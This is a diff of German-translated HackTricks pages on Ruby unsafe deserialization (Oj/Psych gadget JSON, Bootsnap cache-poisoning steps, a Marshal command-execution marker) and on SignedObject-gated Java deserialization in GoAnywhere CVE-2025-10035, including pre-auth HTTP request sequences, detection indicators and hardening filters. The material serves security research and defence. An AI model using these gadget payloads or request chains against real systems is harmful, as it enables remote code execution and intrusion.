Es gibt weitere Ruby-Bibliotheken, die verwendet werden können, um Objekte zu serialisieren und die daher bei unsicherer Deserialisierung für RCE missbraucht werden könnten. Die folgende Tabelle zeigt einige dieser Bibliotheken und die Methode, die beim Unserialisieren der geladenen Klasse aufgerufen wird (die Funktion, die im Grunde ausgenutzt werden kann, um RCE zu erreichen):
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Bibliothek</strong></td><td><strong>Eingabedaten</strong></td><td><strong>Startmethode innerhalb der Klasse</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binär</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (Klasse muss als Schlüssel in Hash(Map) eingefügt werden)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (Klasse muss als Schlüssel in Hash(Map) eingefügt werden)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (Klasse muss als Schlüssel in Hash(Map) eingefügt werden)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([siehe Anmerkungen zu json_create am Ende](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Bibliothek</strong></td><td><strong>Eingabedaten</strong></td><td><strong>Ausgelöste Methode in der Klasse</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binär</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (die Klasse muss als Schlüssel in einen Hash (map) eingefügt werden)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (die Klasse muss als Schlüssel in einen Hash (map) eingefügt werden)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (die Klasse muss als Schlüssel in einen Hash (map) eingefügt werden)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([see notes regarding json_create at end](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
|
||||
Grundlegendes Beispiel:
|
||||
Ein einfaches Beispiel:
|
||||
```ruby
|
||||
# Existing Ruby class inside the code of the app
|
||||
class SimpleClass
|
||||
@ -944,7 +961,7 @@ puts json_payload
|
||||
# Sink vulnerable inside the code accepting user input as json_payload
|
||||
Oj.load(json_payload)
|
||||
```
|
||||
Im Fall des Versuchs, Oj auszunutzen, war es möglich, eine Gadget-Klasse zu finden, die innerhalb ihrer `hash`-Funktion `to_s` aufruft, was `spec` aufruft, das `fetch_path` aufruft, wodurch es möglich war, eine zufällige URL abzurufen, was einen großartigen Detektor für diese Art von unsanierten Deserialisierungsanfälligkeiten bietet.
|
||||
Beim Versuch, Oj auszunutzen, war es möglich, eine Gadget-Klasse zu finden, die innerhalb ihrer `hash`-Funktion `to_s` aufruft, das wiederum spec aufruft, das fetch_path aufruft — letzteres ließ sich dazu bringen, eine beliebige URL abzurufen, wodurch sich ein sehr guter Detektor für diese Art unsanitierter Deserialisierungs-Schwachstellen ergibt.
|
||||
```json
|
||||
{
|
||||
"^o": "URI::HTTP",
|
||||
@ -956,7 +973,7 @@ Im Fall des Versuchs, Oj auszunutzen, war es möglich, eine Gadget-Klasse zu fin
|
||||
"password": "anypw"
|
||||
}
|
||||
```
|
||||
Darüber hinaus wurde festgestellt, dass mit der vorherigen Technik ein Ordner im System erstellt wird, der eine Voraussetzung ist, um ein anderes Gadget auszunutzen, um dies in ein vollständiges RCE zu verwandeln, mit etwas wie:
|
||||
Außerdem wurde festgestellt, dass durch die vorherige Technik ein Ordner im System angelegt wird, was Voraussetzung ist, um ein anderes Gadget auszunutzen und dies in eine vollständige RCE zu verwandeln, etwa mit:
|
||||
```json
|
||||
{
|
||||
"^o": "Gem::Resolver::SpecSpecification",
|
||||
@ -982,44 +999,47 @@ Check for more details in the [**original post**](https://github.blog/security/v
|
||||
|
||||
### Bootstrap Caching
|
||||
|
||||
Nicht wirklich eine Deserialisierungsanfälligkeit, sondern ein netter Trick, um das Bootstrap-Caching auszunutzen, um RCE aus einer Rails-Anwendung mit einem beliebigen Dateischreibzugriff zu erhalten (finden Sie den vollständigen [original post hier](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
|
||||
Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (finde den vollständigen [original post in here](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
|
||||
|
||||
Unten finden Sie eine kurze Zusammenfassung der Schritte, die im Artikel zum Ausnutzen einer Anfälligkeit für beliebige Dateischreibzugriffe durch Missbrauch des Bootsnap-Cachings detailliert beschrieben sind:
|
||||
Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching:
|
||||
|
||||
- Identifizieren Sie die Anfälligkeit und die Umgebung
|
||||
- Identify the Vulnerability and Environment
|
||||
|
||||
Die Dateiupload-Funktionalität der Rails-App ermöglicht es einem Angreifer, Dateien beliebig zu schreiben. Obwohl die App mit Einschränkungen läuft (nur bestimmte Verzeichnisse wie tmp sind aufgrund des Nicht-Root-Benutzers von Docker beschreibbar), erlaubt dies dennoch das Schreiben in das Bootsnap-Cache-Verzeichnis (typischerweise unter tmp/cache/bootsnap).
|
||||
Die Datei-Upload-Funktionalität der Rails-App ermöglicht es einem Angreifer, Dateien beliebig zu schreiben. Obwohl die App mit Einschränkungen läuft (nur bestimmte Verzeichnisse wie tmp sind aufgrund des non-root users von Docker beschreibbar), erlaubt dies dennoch das Schreiben in das Bootsnap Cache-Verzeichnis (typischerweise unter tmp/cache/bootsnap).
|
||||
|
||||
- Verstehen Sie den Cache-Mechanismus von Bootsnap
|
||||
- Understand Bootsnap’s Cache Mechanism
|
||||
|
||||
Bootsnap beschleunigt die Startzeiten von Rails, indem es kompilierten Ruby-Code, YAML- und JSON-Dateien cached. Es speichert Cache-Dateien, die einen Cache-Schlüssel-Header enthalten (mit Feldern wie Ruby-Version, Dateigröße, mtime, Kompilierungsoptionen usw.), gefolgt vom kompilierten Code. Dieser Header wird verwendet, um den Cache beim Start der App zu validieren.
|
||||
Bootsnap beschleunigt die Rails-Startzeiten, indem es kompilierten Ruby-Code, YAML- und JSON-Dateien cached. Es speichert Cache-Dateien, die einen cache key header enthalten (mit Feldern wie Ruby version, file size, mtime, compile options, etc.), gefolgt vom kompilierten Code. Dieser Header wird beim App-Start zur Validierung des Caches verwendet.
|
||||
|
||||
- Sammeln Sie Dateimetadaten
|
||||
- Gather File Metadata
|
||||
|
||||
Der Angreifer wählt zunächst eine Zieldatei aus, die wahrscheinlich während des Rails-Starts geladen wird (zum Beispiel set.rb aus der Standardbibliothek von Ruby). Durch die Ausführung von Ruby-Code im Container extrahieren sie kritische Metadaten (wie RUBY_VERSION, RUBY_REVISION, Größe, mtime und compile_option). Diese Daten sind entscheidend für die Erstellung eines gültigen Cache-Schlüssels.
|
||||
Der Angreifer wählt zunächst eine Zieldatei aus, die wahrscheinlich beim Rails-Start geladen wird (z. B. set.rb aus Ruby’s standard library). Durch Ausführen von Ruby-Code innerhalb des Containers extrahieren sie kritische Metadaten (wie RUBY_VERSION, RUBY_REVISION, size, mtime und compile_option). Diese Daten sind essenziell, um einen gültigen cache key zu erstellen.
|
||||
|
||||
- Berechnen Sie den Cache-Dateipfad
|
||||
- Compute the Cache File Path
|
||||
|
||||
Durch die Replikation des FNV-1a 64-Bit-Hash-Mechanismus von Bootsnap wird der korrekte Cache-Dateipfad bestimmt. Dieser Schritt stellt sicher, dass die bösartige Cache-Datei genau dort platziert wird, wo Bootsnap sie erwartet (z. B. unter tmp/cache/bootsnap/compile-cache-iseq/).
|
||||
Indem man Bootsnap’s FNV-1a 64-bit hash mechanism repliziert, wird der korrekte Pfad der Cache-Datei ermittelt. Dieser Schritt stellt sicher, dass die bösartige Cache-Datei genau dort abgelegt wird, wo Bootsnap sie erwartet (z. B. unter tmp/cache/bootsnap/compile-cache-iseq/).
|
||||
|
||||
- Erstellen Sie die bösartige Cache-Datei
|
||||
- Craft the Malicious Cache File
|
||||
|
||||
Der Angreifer bereitet eine Nutzlast vor, die:
|
||||
Der Angreifer bereitet eine Payload vor, die:
|
||||
|
||||
- Beliebige Befehle ausführt (zum Beispiel id ausführt, um Prozessinformationen anzuzeigen).
|
||||
- Den bösartigen Cache nach der Ausführung entfernt, um eine rekursive Ausnutzung zu verhindern.
|
||||
- Die ursprüngliche Datei (z. B. set.rb) lädt, um einen Absturz der Anwendung zu vermeiden.
|
||||
- arbitrary commands ausführt (z. B. id ausführt, um Prozessinfo anzuzeigen).
|
||||
- den bösartigen Cache nach der Ausführung entfernt, um rekursive Ausnutzung zu verhindern.
|
||||
- die Originaldatei lädt (z. B. set.rb), um einen Absturz der Anwendung zu vermeiden.
|
||||
|
||||
Diese Payload wird in binären Ruby-Code kompiliert und mit einem sorgfältig konstruierten cache key header verkettet (unter Verwendung der zuvor gesammelten Metadaten und der korrekten Versionsnummer für Bootsnap).
|
||||
|
||||
- Overwrite and Trigger Execution
|
||||
Mit der arbitrary file write vulnerability schreibt der Angreifer die erstellte Cache-Datei an den berechneten Ort. Anschließend löst er einen Server-Neustart aus (indem tmp/restart.txt beschrieben wird, das von Puma überwacht wird). Beim Neustart, wenn Rails die Ziel-Datei required, wird die bösartige Cache-Datei geladen, was zu remote code execution (RCE) führt.
|
||||
|
||||
Diese Nutzlast wird in binären Ruby-Code kompiliert und mit einem sorgfältig konstruierten Cache-Schlüssel-Header (unter Verwendung der zuvor gesammelten Metadaten und der richtigen Versionsnummer für Bootsnap) verknüpft.
|
||||
|
||||
- Überschreiben und Auslösen der Ausführung
|
||||
Mit der Anfälligkeit für beliebige Dateischreibzugriffe schreibt der Angreifer die erstellte Cache-Datei an den berechneten Ort. Anschließend lösen sie einen Serverneustart aus (indem sie in tmp/restart.txt schreiben, das von Puma überwacht wird). Während des Neustarts, wenn Rails die gezielte Datei benötigt, wird die bösartige Cache-Datei geladen, was zu einer Remote-Code-Ausführung (RCE) führt.
|
||||
|
||||
### Ruby Marshal exploitation in practice (updated)
|
||||
|
||||
Behandeln Sie jeden Pfad, bei dem nicht vertrauenswürdige Bytes `Marshal.load`/`marshal_load` erreichen, als RCE-Senke. Marshal rekonstruiert beliebige Objektgraphen und löst Bibliotheks-/Gem-Callbacks während der Materialisierung aus.
|
||||
Behandle jeden Pfad, bei dem untrusted bytes `Marshal.load`/`marshal_load` erreichen, als RCE-Senke. Marshal rekonstruiert beliebige Objektgraphen und löst library/gem callbacks während der Materialisierung aus.
|
||||
|
||||
- Minimal anfälliger Rails-Code-Pfad:
|
||||
|
||||
- Minimal vulnerable Rails code path:
|
||||
```ruby
|
||||
class UserRestoreController < ApplicationController
|
||||
def show
|
||||
@ -1033,37 +1053,38 @@ end
|
||||
end
|
||||
end
|
||||
```
|
||||
- Häufige Gadget-Klassen, die in echten Chains zu sehen sind: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
|
||||
- Typischer Nebenwirkungshinweis, der in Payloads eingebettet ist (wird während des Unmarshal ausgeführt):
|
||||
- Häufige Gadget-Klassen, die in realen Chains vorkommen: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
|
||||
- Typischer Side-Effect-Marker, eingebettet in payloads (während des unmarshal-Vorgangs ausgeführt):
|
||||
```
|
||||
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
|
||||
```
|
||||
Wo es in echten Apps auftaucht:
|
||||
- Rails-Cache-Speicher und Sitzungs-Speicher, die historisch Marshal verwenden
|
||||
- Hintergrundjob-Backends und dateigestützte Objekt-Speicher
|
||||
- Jede benutzerdefinierte Persistenz oder der Transport von binären Objekt-Blobs
|
||||
Wo es in realen Anwendungen auftaucht:
|
||||
- Rails-Cache- und Session-Stores, die historisch Marshal verwenden
|
||||
- Backends für Background-Jobs und dateibasierte Objektspeicher
|
||||
- Jegliche benutzerdefinierte Persistenz oder der Transport von binären Objekt-Blobs
|
||||
|
||||
Industrialisierte Gadget-Entdeckung:
|
||||
- Grep nach Konstruktoren, `hash`, `_load`, `init_with` oder nebenwirkungsreichen Methoden, die während des Unmarshal aufgerufen werden
|
||||
- Verwenden Sie CodeQLs Ruby unsafe deserialization-Abfragen, um Quellen → Senken zu verfolgen und Gadgets zu entdecken
|
||||
- Validieren Sie mit öffentlichen Multi-Format PoCs (JSON/XML/YAML/Marshal)
|
||||
Automatisierte Gadget-Erkennung:
|
||||
- Grep nach Konstruktoren, `hash`, `_load`, `init_with`, oder nach Methoden mit Seiteneffekten, die während des unmarshal aufgerufen werden
|
||||
- Verwende CodeQL’s Ruby unsafe deserialization queries, um sources → sinks zurückzuverfolgen und Gadgets aufzudecken
|
||||
- Mit öffentlichen Multi-Format-PoCs (JSON/XML/YAML/Marshal) validieren
|
||||
|
||||
|
||||
## Referenzen
|
||||
|
||||
- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
|
||||
- Trail of Bits – Marshal madness: Eine kurze Geschichte von Ruby-Deserialisierungs-Exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
|
||||
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
|
||||
- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
|
||||
- Phrack #69 – Rails 3/4 Marshal-Kette: https://phrack.org/issues/69/12.html
|
||||
- CVE-2019-5420 (Rails 5.2 unsichere Deserialisierung): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
|
||||
- ZDI – RCE über Ruby on Rails Active Storage unsichere Deserialisierung: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
|
||||
- ZDI – RCE via Ruby on Rails Active Storage durch unsichere Deserialisierung: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
|
||||
- Include Security – Entdeckung von Gadget-Ketten in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
|
||||
- GitHub Security Lab – Ruby unsafe deserialization (Abfragehilfe): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
|
||||
- GitHub Security Lab – PoCs-Repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
|
||||
- Doyensec PR – Ruby 3.4 Gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
|
||||
- Luke Jahnke – Ruby 3.4 universelle Kette: https://nastystereo.com/security/ruby-3.4-deserialization.html
|
||||
- Luke Jahnke – Gem::SafeMarshal Escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
|
||||
- Ruby 3.4.0-rc1 Veröffentlichung: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
|
||||
- Ruby Fix PR #12444: https://github.com/ruby/ruby/pull/12444
|
||||
- GitHub Security Lab – Ruby unsafe deserialization (Query-Hilfe): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
|
||||
- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
|
||||
- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
|
||||
- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
|
||||
- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
|
||||
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
|
||||
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
|
||||
- Trail of Bits – Auditing RubyGems.org (Marshal-Funde): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
|
||||
- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,140 @@
|
||||
# Java SignedObject-gated Deserialization und Pre-auth Reachability über Error Paths
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Diese Seite dokumentiert ein häufiges "guarded" Java Deserialization-Muster, das um java.security.SignedObject aufgebaut ist, und wie scheinbar unerreichbare sinks durch Fehlerbehandlungsabläufe pre-auth erreichbar werden können. Die Technik wurde in Fortra GoAnywhere MFT (CVE-2025-10035) beobachtet, ist aber auf ähnliche Designs anwendbar.
|
||||
|
||||
## Bedrohungsmodell
|
||||
|
||||
- Ein Angreifer kann einen HTTP-Endpunkt erreichen, der schließlich ein vom Angreifer bereitgestelltes byte[] verarbeitet, das als serialisiertes SignedObject gedacht ist.
|
||||
- Der Code verwendet einen validierenden Wrapper (z. B. Apache Commons IO ValidatingObjectInputStream oder einen eigenen Adapter), um den äußersten Typ auf SignedObject (oder byte[]) zu beschränken.
|
||||
- Das innere Objekt, das von SignedObject.getObject() zurückgegeben wird, ist der Ort, an dem Gadget-Ketten (z. B. CommonsBeanutils1) ausgelöst werden können, jedoch nur nach einem Signatur-Verifizierungs-Gate.
|
||||
|
||||
## Typisches verwundbares Muster
|
||||
|
||||
Ein vereinfachtes Beispiel basierend auf com.linoma.license.gen2.BundleWorker.verify:
|
||||
```java
|
||||
private static byte[] verify(byte[] payload, KeyConfig keyCfg) throws Exception {
|
||||
String sigAlg = "SHA1withDSA";
|
||||
if ("2".equals(keyCfg.getVersion())) {
|
||||
sigAlg = "SHA512withRSA"; // key version controls algorithm
|
||||
}
|
||||
PublicKey pub = getPublicKey(keyCfg);
|
||||
Signature sig = Signature.getInstance(sigAlg);
|
||||
|
||||
// 1) Outer, "guarded" deserialization restricted to SignedObject
|
||||
SignedObject so = (SignedObject) JavaSerializationUtilities.deserialize(
|
||||
payload, SignedObject.class, new Class[]{ byte[].class });
|
||||
|
||||
if (keyCfg.isServer()) {
|
||||
// Hardened server path
|
||||
return ((SignedContainer) JavaSerializationUtilities.deserializeUntrustedSignedObject(
|
||||
so, SignedContainer.class, new Class[]{ byte[].class }
|
||||
)).getData();
|
||||
} else {
|
||||
// 2) Signature check using a baked-in public key
|
||||
if (!so.verify(pub, sig)) {
|
||||
throw new IOException("Unable to verify signature!");
|
||||
}
|
||||
// 3) Inner object deserialization (potential gadget execution)
|
||||
SignedContainer inner = (SignedContainer) so.getObject();
|
||||
return inner.getData();
|
||||
}
|
||||
}
|
||||
```
|
||||
Wichtige Beobachtungen:
|
||||
- Der validierende Deserializer bei (1) blockiert beliebige Top-Level-Gadget-Klassen; nur SignedObject (oder raw byte[]) wird akzeptiert.
|
||||
- Das RCE-Primitive läge im inneren Objekt, das durch SignedObject.getObject() bei (3) materialisiert wird.
|
||||
- Eine Signaturprüfung bei (2) erzwingt, dass das SignedObject gegen einen im Produkt eingebetteten öffentlichen Schlüssel verifiziert werden muss. Solange der Angreifer keine gültige Signatur erzeugen kann, wird das innere Gadget niemals deserialisiert.
|
||||
|
||||
## Überlegungen zur Ausnutzung
|
||||
|
||||
Um Codeausführung zu erreichen, muss ein Angreifer ein korrekt signiertes SignedObject liefern, das eine bösartige Gadget-Kette als inneres Objekt umschließt. Dies erfordert in der Regel eines der folgenden:
|
||||
|
||||
- Private key compromise: den passenden privaten Schlüssel erlangen, der vom Produkt zum Signieren/Verifizieren von Lizenzobjekten verwendet wird.
|
||||
- Signing oracle: den Vendor oder einen vertrauenswürdigen Signing-Service dazu bringen, vom Angreifer kontrollierte serialisierte Inhalte zu signieren (z. B. wenn ein License-Server ein eingebettetes beliebiges Objekt aus Client-Eingaben signiert).
|
||||
- Alternate reachable path: einen serverseitigen Pfad finden, der das innere Objekt deserialisiert, ohne verify() durchzusetzen, oder die Signaturprüfung unter einem bestimmten Modus überspringt.
|
||||
|
||||
Fehlt einer dieser Fälle, verhindert die Signaturprüfung eine Ausnutzung trotz der Existenz einer Deserialisierungs-Senke.
|
||||
|
||||
## Pre-auth-Erreichbarkeit über Fehlerbehandlungsflüsse
|
||||
|
||||
Selbst wenn ein Deserialisierungs-Endpunkt scheinbar Authentifizierung oder ein sessionsgebundenes Token erfordert, kann Fehlerbehandlungscode versehentlich das Token erstellen und an eine nicht authentifizierte Session anhängen.
|
||||
|
||||
Beispielhafte Erreichbarkeitskette (GoAnywhere MFT):
|
||||
- Target servlet: /goanywhere/lic/accept/<GUID> erfordert ein sessionsgebundenes license request token.
|
||||
- Error path: Aufruf von /goanywhere/license/Unlicensed.xhtml mit angehängtem Junk und ungültigem JSF-State löst AdminErrorHandlerServlet aus, das folgendes macht:
|
||||
- SessionUtilities.generateLicenseRequestToken(session)
|
||||
- Leitet an den Vendor-License-Server weiter mit einer signierten license request in bundle=<...>
|
||||
- Das bundle kann offline (hard-coded keys) entschlüsselt werden, um die GUID wiederherzustellen. Behalte das gleiche Session-Cookie und sende ein POST an /goanywhere/lic/accept/<GUID> mit attacker-controlled bundle bytes, wodurch der SignedObject sink pre-auth erreicht wird.
|
||||
|
||||
Erreichbarkeitsnachweis (ohne Auswirkungen) Probe:
|
||||
```http
|
||||
GET /goanywhere/license/Unlicensed.xhtml/x?javax.faces.ViewState=x&GARequestAction=activate HTTP/1.1
|
||||
Host: <target>
|
||||
```
|
||||
- Ungepatcht: 302 Location header to https://my.goanywhere.com/lic/request?bundle=... and Set-Cookie: ASESSIONID=...
|
||||
- Gepatcht: redirect without bundle (keine Token-Generierung).
|
||||
|
||||
## Blue-Team-Erkennung
|
||||
|
||||
Indikatoren in Stack-Traces/Logs deuten stark auf Versuche hin, einen SignedObject-gated sink anzusprechen:
|
||||
```
|
||||
java.io.ObjectInputStream.readObject
|
||||
java.security.SignedObject.getObject
|
||||
com.linoma.license.gen2.BundleWorker.verify
|
||||
com.linoma.license.gen2.BundleWorker.unbundle
|
||||
com.linoma.license.gen2.LicenseController.getResponse
|
||||
com.linoma.license.gen2.LicenseAPI.getResponse
|
||||
com.linoma.ga.ui.admin.servlet.LicenseResponseServlet.doPost
|
||||
```
|
||||
## Härtungsleitfaden
|
||||
|
||||
- Führen Sie die Signaturprüfung vor jedem getObject()-Aufruf durch und stellen Sie sicher, dass die Prüfung den vorgesehenen Public Key/Algorithmus verwendet.
|
||||
- Ersetzen Sie direkte SignedObject.getObject()-Aufrufe durch einen gehärteten Wrapper, der Filter erneut auf den inneren Stream anwendet (z. B. deserializeUntrustedSignedObject unter Verwendung von ValidatingObjectInputStream/ObjectInputFilter allow-lists).
|
||||
- Entfernen Sie Error-Handler-Flows, die session-gebundene Tokens für nicht authentifizierte Benutzer ausgeben. Behandeln Sie Fehlerpfade als Angriffsfläche.
|
||||
- Bevorzugen Sie Java serialization filters (JEP 290) mit strengen allow-lists sowohl für die äußere als auch die innere Deserialisierung. Beispiel:
|
||||
```java
|
||||
ObjectInputFilter filter = info -> {
|
||||
Class<?> c = info.serialClass();
|
||||
if (c == null) return ObjectInputFilter.Status.UNDECIDED;
|
||||
if (c == java.security.SignedObject.class || c == byte[].class) return ObjectInputFilter.Status.ALLOWED;
|
||||
return ObjectInputFilter.Status.REJECTED; // outer layer
|
||||
};
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
// For the inner object, apply a separate strict DTO allow-list
|
||||
```
|
||||
## Zusammenfassung der Beispiel-Angriffskette (CVE-2025-10035)
|
||||
|
||||
1) Pre-auth token minting via error handler:
|
||||
```http
|
||||
GET /goanywhere/license/Unlicensed.xhtml/watchTowr?javax.faces.ViewState=watchTowr&GARequestAction=activate
|
||||
```
|
||||
Erhalte 302 mit bundle=... und ASESSIONID=...; decrypt bundle offline, um GUID wiederherzustellen.
|
||||
|
||||
2) Erreiche den sink pre-auth mit demselben cookie:
|
||||
```http
|
||||
POST /goanywhere/lic/accept/<GUID> HTTP/1.1
|
||||
Cookie: ASESSIONID=<value>
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
bundle=<attacker-controlled-bytes>
|
||||
```
|
||||
3) RCE erfordert ein korrekt signiertes SignedObject, das eine gadget chain umschließt. Forscher konnten die Signaturprüfung nicht umgehen; die Ausnutzung hängt vom Zugriff auf einen passenden privaten Schlüssel oder ein signing oracle ab.
|
||||
|
||||
## Behebte Versionen und Verhaltensänderungen
|
||||
|
||||
- GoAnywhere MFT 7.8.4 und Sustain Release 7.6.3:
|
||||
- Härtet die interne Deserialisierung, indem SignedObject.getObject() durch einen Wrapper (deserializeUntrustedSignedObject) ersetzt wird.
|
||||
- Entfernt die Token-Generierung des Error-Handlers und schließt damit die pre-auth Erreichbarkeit.
|
||||
|
||||
## Hinweise zu JSF/ViewState
|
||||
|
||||
Der Reachability-Trick nutzt eine JSF-Seite (.xhtml) und einen invaliden javax.faces.ViewState, um in einen privilegierten Error-Handler zu routen. Obwohl es kein JSF-Deserialisierungsproblem ist, handelt es sich um ein wiederkehrendes pre-auth-Muster: sich in Error-Handler hineinzubrechen, die privilegierte Aktionen ausführen und sicherheitsrelevante Session-Attribute setzen.
|
||||
|
||||
## References
|
||||
|
||||
- [watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035](https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/)
|
||||
- [Fortra advisory FI-2025-012 – Deserialization Vulnerability in GoAnywhere MFT's License Servlet](https://www.fortra.com/security/advisories/product-security/fi-2025-012)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user